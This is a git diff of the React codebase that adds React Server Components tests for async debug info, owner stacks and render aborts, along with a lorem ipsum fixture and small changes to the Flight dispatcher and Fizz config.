+      const result = await promise;
+      return result;
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(
+      <Component promise={internal_API('hello', 1)} />,
+      {},
+      {
+        filterStackFrame,
+      },
+    );
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('hello');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "new Promise",
+                "",
+                0,
+                0,
+                0,
+                0,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "greeting",
+              "start": 0,
+              "value": {
+                "status": "halted",
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Component",
+              "props": {},
+              "stack": [
+                [
+                  "new Promise",
+                  "",
+                  0,
+                  0,
+                  0,
+                  0,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                3304,
+                20,
+                3303,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+        ]
+      `);
+    }
+  });
+
+  // Regression test: Database clients like Gel/EdgeDB with connection pools can
+  // create very long chains of async nodes linked via `previous` pointers.
+  // visitAsyncNode must handle chains of thousands of nodes without stack
+  // overflow.
+  //
+  // The pattern that creates deep chains (Event/messageWaiter):
+  // 1. Create a Promise resolved by an I/O callback
+  // 2. Start I/O, await the Promise
+  // 3. When I/O resolves, code continues in the callback context
+  // 4. The next iteration's async nodes link via `previous` to the current
+  //    context
+  it('handles deep linear async chains from connection pool patterns', async () => {
+    // Replicate Gel's Event class pattern, a Promise resolved externally by I/O
+    class Event {
+      constructor() {
+        this._resolve = null;
+        this._promise = new Promise(resolve => {
+          this._resolve = resolve;
+        });
+      }
+
+      wait() {
+        return this._promise;
+      }
+
+      set() {
+        this._resolve(true);
+      }
+    }
+
+    // Replicate Gel's _waitForMessage pattern:
+    // Each iteration creates an Event, schedules I/O to resolve it, and awaits.
+    // The next iteration runs in the context of the previous I/O callback,
+    // creating linear chains of previous pointers.
+    async function buildLinearChain(depth) {
+      for (let i = 0; i < depth; i++) {
+        const event = new Event();
+        // crypto.randomBytes uses the thread pool and is recognized as I/O
+        // (type='RANDOMBYTESREQUEST'). It's much faster than setTimeout.
+        crypto.randomBytes(1, () => event.set());
+        await event.wait();
+        // After this await resolves, we're in the crypto callback's context
+        // The next Event will be created in this context, linking prev pointers
+      }
+    }
+
+    async function Component() {
+      // Use 2000 iterations to ensure regression would be caught. Using
+      // crypto.randomBytes keeps the test fast.
+      await buildLinearChain(2000);
+      return 'done';
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(
+      <Component />,
+      {},
+      {
+        filterStackFrame: (filename, functionName) => {
+          // Custom filter that treats Event and buildLinearChain as library
+          // code. This simulates how real DB libraries like Gel/EdgeDB would be
+          // filtered.
+          if (
+            functionName === 'new Event' ||
+            functionName === 'buildLinearChain' ||
+            functionName === '_loop' // Generated name for the for-loop
+          ) {
+            return false;
+          }
+          return filterStackFrame(filename, functionName);
+        },
+      },
+    );
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    // This should not throw "Maximum call stack size exceeded"
+    expect(await result).toBe('done');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      // With library code filtered out, we should only see the Component's
+      // debug info, not thousands of entries from the internal
+      // Event/buildLinearChain operations.
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                3461,
+                40,
+                3418,
+                72,
+              ],
+              [
+                "new Promise",
+                "",
+                0,
+                0,
+                0,
+                0,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "buildLinearChain",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    3461,
+                    40,
+                    3418,
+                    72,
+                  ],
+                  [
+                    "new Promise",
+                    "",
+                    0,
+                    0,
+                    0,
+                    0,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  3456,
+                  13,
+                  3453,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Component",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  3461,
+                  40,
+                  3418,
+                  72,
+                ],
+                [
+                  "new Promise",
+                  "",
+                  0,
+                  0,
+                  0,
+                  0,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                3456,
+                13,
+                3453,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "byteSize": 0,
+              "end": 0,
+              "name": "rsc stream",
+              "owner": null,
+              "start": 0,
+              "value": {
+                "value": "stream",
+              },
+            },
+          },
+        ]
+      `);
+    }
+  });
+
+  it('should not exponentially accumulate debug info on outlined debug chunks', async () => {
+    // Regression test: Each Level wraps its received `context` prop in a new
+    // object before passing it down. This creates props deduplication
+    // references to the parent's outlined chunk alongside the owner reference,
+    // giving 2 references per level to the direct parent's chunk. Without
+    // skipping transferReferencedDebugInfo during debug info resolution, this
+    // test would fail with an infinite loop detection error.
+    async function Level({depth, context}) {
+      await delay(0);
+      if (depth === 0) {
+        return <div>Hello, World!</div>;
+      }
+      const newContext = {prev: context, id: depth};
+      return ReactServer.createElement(Level, {
+        depth: depth - 1,
+        context: newContext,
+      });
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(
+      ReactServer.createElement(Level, {depth: 20, context: {root: true}}),
+    );
+
+    const readable = new Stream.PassThrough(streamOptions);
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    const resolved = await result;
+    expect(resolved.type).toBe('div');
+
+    await finishLoadingStream(readable);
+  });
+});
diff --git a/packages/react-server/src/__tests__/ReactFlightServer-test.js b/packages/react-server/src/__tests__/ReactFlightServer-test.js
new file mode 100644
index 000000000000..17480985db5b
--- /dev/null
+++ b/packages/react-server/src/__tests__/ReactFlightServer-test.js
@@ -0,0 +1,200 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ * @jest-environment node
+ */
+
+'use strict';
+
+if (typeof Blob === 'undefined') {
+  global.Blob = require('buffer').Blob;
+}
+if (typeof File === 'undefined' || typeof FormData === 'undefined') {
+  global.File = require('undici').File;
+  global.FormData = require('undici').FormData;
+}
+
+function normalizeCodeLocInfo(str) {
+  return (
+    str &&
+    str.replace(/^ +(?:at|in) ([\S]+)[^\n]*/gm, function (m, name) {
+      const dot = name.lastIndexOf('.');
+      if (dot !== -1) {
+        name = name.slice(dot + 1);
+      }
+      return '    in ' + name + (/\d/.test(m) ? ' (at **)' : '');
+    })
+  );
+}
+
+let ReactServer;
+let ReactNoopFlightServer;
+let Scheduler;
+let advanceTimersByTime;
+let assertLog;
+let assertConsoleErrorDev;
+
+describe('ReactFlight', () => {
+  beforeEach(() => {
+    // Mock performance.now for timing tests
+    let time = 0;
+    advanceTimersByTime = timeMS => {
+      time += timeMS;
+      jest.advanceTimersByTime(timeMS);
+    };
+    const now = jest.fn().mockImplementation(() => {
+      return time++;
+    });
+    Object.defineProperty(performance, 'timeOrigin', {
+      value: time,
+      configurable: true,
+    });
+    Object.defineProperty(performance, 'now', {
+      value: now,
+      configurable: true,
+    });
+
+    jest.resetModules();
+    jest.mock('react', () => require('react/react.react-server'));
+    ReactServer = require('react');
+    ReactNoopFlightServer = require('react-noop-renderer/flight-server');
+    Scheduler = require('scheduler');
+    const InternalTestUtils = require('internal-test-utils');
+    assertLog = InternalTestUtils.assertLog;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
+  });
+
+  afterEach(() => {
+    jest.restoreAllMocks();
+  });
+
+  // @gate __DEV__
+  it('resets the owner stack limit periodically', async () => {
+    function App({siblingsBeforeStackOne, timeout}) {
+      const children = [];
+      for (
+        let i = 0;
+        i <
+        siblingsBeforeStackOne -
+          // <App /> callsite
+          1 -
+          // Stop so that OwnerStackOne will be right before cutoff
+          1;
+        i++
+      ) {
+        children.push(ReactServer.createElement(Component, {key: i}));
+      }
+      children.push(
+        ReactServer.createElement(OwnerStackOne, {key: 'stackOne'}),
+      );
+      children.push(
+        ReactServer.createElement(OwnerStackDelayed, {
+          key: 'stackTwo',
+          timeout,
+        }),
+      );
+
+      return children;
+    }
+
+    function Component() {
+      return null;
+    }
+
+    let stackOne;
+    function OwnerStackOne() {
+      Scheduler.log('render OwnerStackOne');
+      stackOne = ReactServer.captureOwnerStack();
+    }
+
+    let stackTwo;
+    function OwnerStackTwo() {
+      Scheduler.log('render OwnerStackTwo');
+      stackTwo = ReactServer.captureOwnerStack();
+    }
+    function OwnerStackDelayed({timeout}) {
+      Scheduler.log('render OwnerStackDelayed');
+
+      // Owner Stacks start fresh after `await`.
+      // We need to sync delay to observe the reset limit behavior.
+      // TODO: Is that the right behavior? If you do stack + Ownst Stack you'd get `OwnerStackTwo` twice.
+      jest.advanceTimersByTime(timeout);
+
+      return ReactServer.createElement(OwnerStackTwo, {});
+    }
+
+    ReactNoopFlightServer.render(
+      ReactServer.createElement(App, {
+        key: 'one',
+        // Should be the value with of `ownerStackLimit` with `__VARIANT__` so that we see the cutoff
+        siblingsBeforeStackOne: 500,
+        // Must be greater or equal then the reset interval
+        timeout: 1000,
+      }),
+    );
+
+    assertLog([
+      'render OwnerStackOne',
+      'render OwnerStackDelayed',
+      'render OwnerStackTwo',
+    ]);
+
+    expect({
+      pendingTimers: jest.getTimerCount(),
+      stackOne: normalizeCodeLocInfo(stackOne),
+      stackTwo: normalizeCodeLocInfo(stackTwo),
+    }).toEqual({
+      pendingTimers: 0,
+      stackOne: '\n    in App (at **)',
+      stackTwo: __VARIANT__
+        ? // Didn't advance timers yet to reset
+          '\n    in UnknownOwner (at **)' + '\n    in UnknownOwner (at **)'
+        : // We never hit the limit outside __VARIANT__
+          '\n    in OwnerStackDelayed (at **)' + '\n    in App (at **)',
+    });
+
+    // Ensure we reset the limit after the timeout
+    advanceTimersByTime(1000);
+    ReactNoopFlightServer.render(
+      ReactServer.createElement(App, {
+        key: 'two',
+        siblingsBeforeStackOne: 0,
+        timeout: 0,
+      }),
+    );
+
+    expect({
+      pendingTimers: jest.getTimerCount(),
+      stackOne: normalizeCodeLocInfo(stackOne),
+      stackTwo: normalizeCodeLocInfo(stackTwo),
+    }).toEqual({
+      pendingTimers: 0,
+      stackOne: '\n    in App (at **)',
+      stackTwo: '\n    in OwnerStackDelayed (at **)' + '\n    in App (at **)',
+    });
+  });
+
+  it('logs an error when prod elements are rendered', async () => {
+    const element = ReactServer.createElement('span', {
+      key: 'one',
+      children: 'Free!',
+    });
+    ReactNoopFlightServer.render(
+      // bad clone
+      {...element},
+    );
+
+    assertConsoleErrorDev([
+      'Attempted to render <span key="one"> without development properties. This is not supported. It can happen if:' +
+        '\n- The element is created with a production version of React but rendered in development.' +
+        '\n- The element was cloned with a custom function instead of `React.cloneElement`.\n' +
+        "The props of this element may help locate this element: { children: 'Free!', [key]: [Getter] }",
+      "TypeError: Cannot read properties of undefined (reading 'stack')" +
+        '\n    in <stack>',
+    ]);
+  });
+});
diff --git a/packages/react-server/src/__tests__/ReactServer-test.js b/packages/react-server/src/__tests__/ReactServer-test.js
index d827e82de0ca..4d8678b4dce1 100644
--- a/packages/react-server/src/__tests__/ReactServer-test.js
+++ b/packages/react-server/src/__tests__/ReactServer-test.js
@@ -9,14 +9,63 @@
  */
 
 'use strict';
+import {AsyncLocalStorage} from 'node:async_hooks';
 
+let act;
 let React;
 let ReactNoopServer;
 
+function normalizeCodeLocInfo(str) {
+  return (
+    str &&
+    str.replace(/^ +(?:at|in) ([\S]+)[^\n]*/gm, function (m, name) {
+      const dot = name.lastIndexOf('.');
+      if (dot !== -1) {
+        name = name.slice(dot + 1);
+      }
+      return '    in ' + name + (/\d/.test(m) ? ' (at **)' : '');
+    })
+  );
+}
+
+/**
+ * Removes all stackframes not pointing into this file
+ */
+function ignoreListStack(str) {
+  if (!str) {
+    return str;
+  }
+
+  let ignoreListedStack = '';
+  const lines = str.split('\n');
+
+  // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+  for (const line of lines) {
+    if (line.indexOf(__filename) === -1) {
+    } else {
+      ignoreListedStack += '\n' + line.replace(__dirname, '.');
+    }
+  }
+
+  return ignoreListedStack;
+}
+
+const currentTask = new AsyncLocalStorage({defaultValue: null});
+
 describe('ReactServer', () => {
   beforeEach(() => {
     jest.resetModules();
 
+    console.createTask = jest.fn(taskName => {
+      return {
+        run: taskFn => {
+          const parentTask = currentTask.getStore() || '';
+          return currentTask.run(parentTask + '\n' + taskName, taskFn);
+        },
+      };
+    });
+
+    act = require('internal-test-utils').act;
     React = require('react');
     ReactNoopServer = require('react-noop-renderer/server');
   });
@@ -32,4 +81,106 @@ describe('ReactServer', () => {
     const result = ReactNoopServer.render(<div>hello world</div>);
     expect(result.root).toEqual(div('hello world'));
   });
+
+  it('has Owner Stacks in DEV when aborted', async () => {
+    const Context = React.createContext(null);
+
+    function Component({p1, p2, p3}) {
+      const context = React.use(Context);
+      if (context === null) {
+        throw new Error('Missing context');
+      }
+      React.use(p1);
+      React.use(p2);
+      React.use(p3);
+      return <div>Hello, Dave!</div>;
+    }
+    function Indirection({p1, p2, p3}) {
+      return (
+        <div>
+          <Component p1={p1} p2={p2} p3={p3} />
+        </div>
+      );
+    }
+    function App({p1, p2, p3}) {
+      return (
+        <section>
+          <div>
+            <Indirection p1={p1} p2={p2} p3={p3} />
+          </div>
+        </section>
+      );
+    }
+
+    let caughtError;
+    let componentStack;
+    let ownerStack;
+    let task;
+    const resolvedPromise = Promise.resolve('one');
+    resolvedPromise.status = 'fulfilled';
+    resolvedPromise.value = 'one';
+    let resolvePendingPromise;
+    const pendingPromise = new Promise(resolve => {
+      resolvePendingPromise = value => {
+        pendingPromise.status = 'fulfilled';
+        pendingPromise.value = value;
+        resolve(value);
+      };
+    });
+    const hangingPromise = new Promise(() => {});
+    const result = ReactNoopServer.render(
+      <Context value="provided">
+        <App p1={resolvedPromise} p2={pendingPromise} p3={hangingPromise} />
+      </Context>,
+      {
+        onError: (error, errorInfo) => {
+          caughtError = error;
+          componentStack = errorInfo.componentStack;
+          ownerStack = __DEV__ ? React.captureOwnerStack() : null;
+          task = currentTask.getStore();
+        },
+      },
+    );
+
+    await act(async () => {
+      resolvePendingPromise('two');
+      result.abort();
+    });
+    expect(caughtError).toEqual(
+      expect.objectContaining({
+        message: 'The render was aborted by the server without a reason.',
+      }),
+    );
+    expect(normalizeCodeLocInfo(componentStack)).toEqual(
+      '\n    in Component (at **)' +
+        '\n    in div' +
+        '\n    in Indirection (at **)' +
+        '\n    in div' +
+        '\n    in section' +
+        '\n    in App (at **)',
+    );
+    if (__DEV__) {
+      // The concrete location may change as this test is updated.
+      // Just make sure they still point at the same code
+      if (gate(flags => flags.enableAsyncDebugInfo)) {
+        expect(ignoreListStack(ownerStack)).toEqual(
+          '' +
+            // Pointing at React.use(p2)
+            '\n    at Component (./ReactServer-test.js:94:13)' +
+            '\n    at Indirection (./ReactServer-test.js:101:44)' +
+            '\n    at App (./ReactServer-test.js:109:46)',
+        );
+      } else {
+        expect(ignoreListStack(ownerStack)).toEqual(
+          '' +
+            '\n    at Indirection (./ReactServer-test.js:101:44)' +
+            '\n    at App (./ReactServer-test.js:109:46)',
+        );
+      }
+      expect(task).toEqual('\n<Component>');
+    } else {
+      expect(ownerStack).toBeNull();
+      expect(task).toEqual(undefined);
+    }
+  });
 });
diff --git a/packages/react-server/src/__tests__/test-file.txt b/packages/react-server/src/__tests__/test-file.txt
new file mode 100644
index 000000000000..fb4f66d7e876
--- /dev/null
+++ b/packages/react-server/src/__tests__/test-file.txt
@@ -0,0 +1,31 @@
+Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed varius diam ut lectus suscipit, ac faucibus tellus fermentum. Phasellus rutrum bibendum tellus, eu malesuada metus dignissim sed. Pellentesque et quam libero. Donec ultricies massa vitae justo maximus, ultricies ultrices diam dictum. Ut in lectus non diam porttitor accumsan ac hendrerit tortor. Interdum et malesuada fames ac ante ipsum primis in faucibus. Donec a massa augue. Sed vitae purus id sapien luctus mattis. Maecenas imperdiet vehicula rhoncus.
+
+Etiam non tincidunt sapien, rhoncus fermentum ipsum. Cras id gravida felis. Phasellus finibus, mauris eu viverra auctor, augue tellus elementum sem, a vestibulum ligula purus vel erat. Nulla facilisi. Curabitur nulla ligula, viverra et elementum quis, sollicitudin sit amet nisl. Aenean vitae tortor mauris. Fusce iaculis risus eget lacus faucibus, quis congue dolor egestas. Integer viverra tellus tortor, vitae malesuada lorem ultricies vitae. Ut lacinia diam non ante pellentesque posuere. Suspendisse at posuere nunc, eget viverra elit. Vestibulum sit amet maximus lorem.
+
+Proin fermentum lacus non convallis gravida. Morbi a blandit nisi. Nam posuere lacus vitae molestie aliquam. Cras enim orci, elementum et urna vel, vehicula gravida neque. Etiam quis odio at odio aliquet lobortis ac et sapien. Nulla commodo, ante eget sodales facilisis, magna elit pretium odio, a consectetur dui tortor at erat. Morbi quis laoreet metus. Sed iaculis sodales nisi, ut pharetra magna laoreet eu.
+
+In iaculis, dolor quis consectetur fringilla, justo quam viverra turpis, eget dictum lectus nisl nec mi. Phasellus suscipit, leo ut tincidunt molestie, odio purus ornare ex, sagittis ornare erat nunc vel magna. Morbi malesuada risus nec turpis ultricies molestie dapibus nec justo. Vestibulum tempus bibendum purus, nec sodales libero convallis at. Fusce ipsum nibh, fringilla at sapien sit amet, malesuada suscipit lorem. Fusce et libero a dui gravida ultrices. Vestibulum quis lobortis velit. Morbi ut nisl lobortis, tempus sapien et, convallis mi. Integer varius, felis eu egestas dignissim, risus augue tristique elit, ultricies interdum arcu nibh et lectus. Integer enim mi, viverra eget scelerisque at, gravida eget justo. Nullam eget dolor id orci fringilla ultricies. In id luctus erat. Donec quis magna quis neque congue venenatis sit amet vel turpis. Donec congue tortor eu massa ullamcorper, ut imperdiet lectus posuere. Maecenas quis lorem quis nulla vehicula varius.
+
+Suspendisse tristique elit et luctus suscipit. Nunc quis justo luctus, malesuada velit vitae, accumsan tellus. Nunc ex sem, efficitur vitae semper et, consectetur quis turpis. Donec et tincidunt est, vitae varius sem. Aliquam at luctus dolor. Etiam pretium justo lectus, quis tempus quam feugiat ac. Suspendisse vitae sollicitudin erat, ut interdum felis. Cras lacinia tincidunt tempus. Vivamus congue et lectus quis suscipit. Fusce ultricies justo eget mi elementum, vitae consectetur lacus varius. Praesent fermentum in risus sit amet malesuada. Mauris semper sapien ornare pulvinar venenatis. Suspendisse potenti.
+
+Donec vestibulum purus et est cursus hendrerit. Vivamus pharetra ligula dolor, ut commodo felis accumsan sed. Integer pulvinar mollis metus, at cursus turpis laoreet ac. Maecenas lectus felis, dapibus eu ligula at, lacinia pharetra ex. Duis id tortor a metus pulvinar tincidunt. Suspendisse at lacus a nulla feugiat malesuada. Ut tincidunt interdum placerat. Fusce tincidunt elit in convallis elementum. Etiam commodo felis ut neque dapibus, ac finibus ante auctor. Sed tincidunt massa vitae sapien semper suscipit.
+
+Donec euismod sagittis lacus, eu lacinia tortor rutrum eu. Donec et sapien lacus. Aliquam non commodo magna, vitae commodo tortor. Vivamus vel urna eget ante varius condimentum. Etiam non purus pharetra, pharetra sem eu, maximus felis. Integer nec urna justo. Etiam a dolor tempor, posuere odio non, maximus metus. Vivamus malesuada mi libero, a viverra velit tempus vitae. Quisque accumsan sed nisi a venenatis. Donec malesuada erat at lacus tincidunt, sed euismod est ultricies. Fusce id posuere nisl. Aliquam erat volutpat. Morbi non erat iaculis turpis interdum facilisis. Nunc risus elit, laoreet quis ante sed, aliquam pharetra massa. Fusce cursus urna nec pharetra interdum.
+
+Etiam pharetra, metus nec malesuada efficitur, dui ipsum blandit felis, id cursus elit orci at eros. Phasellus suscipit lobortis est. Praesent egestas, est et scelerisque consectetur, neque velit dapibus elit, quis hendrerit nisi felis a nulla. Quisque facilisis rutrum varius. Integer quis libero sit amet erat tincidunt semper a vel quam. Curabitur rutrum fringilla consequat. Fusce in metus ut odio luctus viverra viverra et nulla. Vestibulum a lacinia augue, feugiat egestas diam. Proin elit arcu, venenatis quis elementum in, rutrum quis tortor. Integer vel lacus urna. Suspendisse pharetra sapien at ullamcorper hendrerit. Etiam nibh ipsum, vulputate eu pulvinar nec, pulvinar id odio.
+
+Proin tincidunt, augue id tristique dictum, nisi sem congue orci, non faucibus erat nibh ac metus. Curabitur leo massa, hendrerit a venenatis sed, aliquam ac ligula. Fusce facilisis vulputate dui ut sollicitudin. Phasellus tellus lacus, viverra at dui sit amet, facilisis accumsan nisi. Phasellus dui lectus, lobortis consequat convallis sed, luctus non dui. Duis tempus urna sed libero ullamcorper, placerat luctus enim dignissim. Mauris vitae odio mauris. Donec eget tortor vitae nibh laoreet viverra at eget urna. Integer in ex arcu. Vestibulum tellus erat, tempus sit amet neque nec, tristique maximus neque. Vivamus efficitur nisi massa, ut tempus lacus interdum quis. Cras posuere erat nec convallis viverra. Aenean efficitur nibh et augue maximus pretium. Aliquam hendrerit nulla dui. Donec elit enim, hendrerit ultricies orci sed, blandit elementum quam.
+
+Donec fringilla pretium ligula, sed imperdiet orci mattis quis. Mauris ullamcorper fermentum libero fringilla molestie. Sed laoreet, nisl in viverra convallis, enim tortor tincidunt elit, in consequat diam metus non libero. Quisque eleifend lobortis lobortis. Donec porta eget justo faucibus sagittis. Phasellus lacus diam, convallis tristique metus at, placerat luctus justo. Fusce vestibulum urna eget dictum vulputate. Nam non nisl bibendum risus vehicula rutrum nec vel purus. Morbi nec diam laoreet quam sodales malesuada. Suspendisse efficitur, magna vel sodales semper, neque nulla aliquam nisi, hendrerit mollis justo libero vel mi.
+
+Etiam tellus neque, vulputate quis justo sit amet, dapibus suscipit est. Morbi pulvinar ipsum risus, eu lacinia felis viverra eget. Quisque massa justo, aliquam non ornare sit amet, maximus maximus dui. Pellentesque aliquam fermentum libero sed aliquet. Nulla consequat ultrices commodo. Donec condimentum consectetur nulla, id euismod metus facilisis eget. Fusce at mauris blandit, mollis ex nec, dignissim ex. Proin nec facilisis arcu. In vestibulum at erat vel ultrices. Mauris lacinia elementum nibh rhoncus egestas. Duis lobortis magna eget sem consequat, ac malesuada orci gravida. Duis cursus quam augue, a condimentum velit scelerisque eget. Donec dapibus pellentesque tellus. Nulla malesuada, purus id efficitur volutpat, felis odio faucibus metus, scelerisque hendrerit enim velit in urna.
+
+Nulla massa felis, semper eget consectetur ac, scelerisque vitae mi. Praesent sit amet sagittis metus. Curabitur mollis ex quis erat faucibus mattis. Nullam risus lacus, suscipit sed luctus vel, dictum id odio. In et dictum elit. Aliquam quis consectetur metus. In feugiat, urna ac porttitor auctor, est arcu porta est, vel lobortis erat elit quis nunc. Nulla quis nibh vel sem fringilla semper sed quis ipsum. Morbi vehicula, urna non rhoncus hendrerit, velit purus accumsan purus, vel elementum arcu dui sit amet leo. Aenean ultricies orci ac ante placerat, id auctor magna sodales. Nam sit amet laoreet lectus. Etiam ligula velit, dignissim vel tincidunt at, dictum nec lacus. Nam non eleifend enim, sit amet dictum lectus. Suspendisse potenti. Suspendisse eget ante a mauris placerat lobortis sed eu dui.
+
+Nam et porta elit, vel interdum mauris. Vivamus eu elit nec nisl bibendum hendrerit. Morbi ornare mollis lacus non finibus. Praesent id orci ex. Donec commodo viverra dictum. Phasellus in lacus tellus. Curabitur at lorem efficitur leo dignissim varius at eu est. Vivamus justo erat, hendrerit id volutpat nec, euismod eget odio. Mauris et vulputate tellus, in maximus nunc. Vestibulum ante ligula, suscipit nec nibh in, placerat pellentesque neque.
+
+Nunc in accumsan ligula, quis accumsan diam. Fusce tincidunt neque a turpis ornare, id convallis quam convallis. Donec at luctus ipsum. Nam id enim ante. Fusce condimentum consectetur justo, in hendrerit lacus vehicula ut. Vestibulum ut hendrerit risus. Donec blandit ut magna eget aliquet. Donec sit amet faucibus ante. Suspendisse condimentum, mauris id aliquam ultricies, erat mi tincidunt eros, sit amet blandit urna purus vitae orci. Maecenas in faucibus ipsum, quis gravida ex. Sed tincidunt in ipsum id dignissim. Duis dui nisl, interdum at est non, rutrum porttitor felis. Sed at nibh dolor. Etiam cursus scelerisque leo.
+
+Morbi vel arcu ullamcorper, tristique eros sed, condimentum sapien. Duis suscipit consequat tincidunt. Proin commodo erat in velit cursus lobortis. Orci varius natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Pellentesque id metus luctus, commodo sapien iaculis, pharetra massa. Phasellus fringilla sagittis lacus, ac laoreet massa sollicitudin ac. Aliquam luctus ex non semper dictum. Morbi vel arcu vel purus aliquet tempus. Curabitur ultrices rutrum facilisis. Morbi enim lectus, ornare quis sem bibendum, aliquet imperdiet ex. Vestibulum commodo sed neque et fermentum. Vestibulum enim elit, lobortis vitae convallis ut, auctor in velit.
+
+Vestibulum semper vulputate elit, at volutpat quam. Nullam id scelerisque libero, nec facilisis lacus. Nulla quis rhoncus arcu. Aliquam erat volutpat. In viverra, diam id rutrum volutpat, ligula dui tristique ex, et pulvinar elit ex a est. Cras magna augue, porta vel tempus vitae, placerat et felis. In ex elit, mattis vitae molestie pretium, tempus vitae tortor. Integer vehicula orci magna, in ultrices nulla volutpat sit amet. Pellentesque odio erat, hendrerit at lacinia sit amet, tempus sit amet risus. Curabitur ut laoreet justo, nec fermentum nibh. Integer tincidunt mattis sem eu cursus.
diff --git a/packages/react-server/src/flight/ReactFlightAsyncDispatcher.js b/packages/react-server/src/flight/ReactFlightAsyncDispatcher.js
index f5f031a860ff..958b92c9cc6c 100644
--- a/packages/react-server/src/flight/ReactFlightAsyncDispatcher.js
+++ b/packages/react-server/src/flight/ReactFlightAsyncDispatcher.js
@@ -7,14 +7,9 @@
  * @flow
  */
 
-import type {ReactComponentInfo} from 'shared/ReactTypes';
-
 import type {AsyncDispatcher} from 'react-reconciler/src/ReactInternalTypes';
 
 import {resolveRequest, getCache} from '../ReactFlightServer';
-
-import {disableStringRefs} from 'shared/ReactFeatureFlags';
-
 import {resolveOwner} from './ReactFlightCurrentOwner';
 
 function resolveCache(): Map<Function, mixed> {
@@ -36,13 +31,15 @@ export const DefaultAsyncDispatcher: AsyncDispatcher = ({
     }
     return entry;
   },
+  cacheSignal(): null | AbortSignal {
+    const request = resolveRequest();
+    if (request) {
+      return request.cacheController.signal;
+    }
+    return null;
+  },
 }: any);
 
 if (__DEV__) {
   DefaultAsyncDispatcher.getOwner = resolveOwner;
-} else if (!disableStringRefs) {
-  // Server Components never use string refs but the JSX runtime looks for it.
-  DefaultAsyncDispatcher.getOwner = (): null | ReactComponentInfo => {
-    return null;
-  };
 }
diff --git a/packages/react-server/src/forks/ReactFizzConfig.custom.js b/packages/react-server/src/forks/ReactFizzConfig.custom.js
index 495a74fb1865..aa8ea94b5791 100644
--- a/packages/react-server/src/forks/ReactFizzConfig.custom.js
+++ b/packages/react-server/src/forks/ReactFizzConfig.custom.js
@@ -27,30 +27,37 @@ import type {Request} from 'react-server/src/ReactFizzServer';
 import type {TransitionStatus} from 'react-reconciler/src/ReactFiberConfig';
 
 declare const $$$config: any;
-export opaque type Destination = mixed; // eslint-disable-line no-undef
+export opaque type Destination = mixed;
 export opaque type RenderState = mixed;
 export opaque type HoistableState = mixed;
 export opaque type ResumableState = mixed;
+export opaque type PreambleState = mixed;
 export opaque type FormatContext = mixed;
 export opaque type HeadersDescriptor = mixed;
 export type {TransitionStatus};
 
 export const isPrimaryRenderer = false;
 
+export const supportsClientAPIs = true;
+
 export const supportsRequestStorage = false;
 export const requestStorage: AsyncLocalStorage<Request | void> = (null: any);
 
+export const bindToConsole = $$$config.bindToConsole;
+
 export const resetResumableState = $$$config.resetResumableState;
 export const completeResumableState = $$$config.completeResumableState;
 export const getChildFormatContext = $$$config.getChildFormatContext;
+export const getSuspenseFallbackFormatContext =
+  $$$config.getSuspenseFallbackFormatContext;
+export const getSuspenseContentFormatContext =
+  $$$config.getSuspenseContentFormatContext;
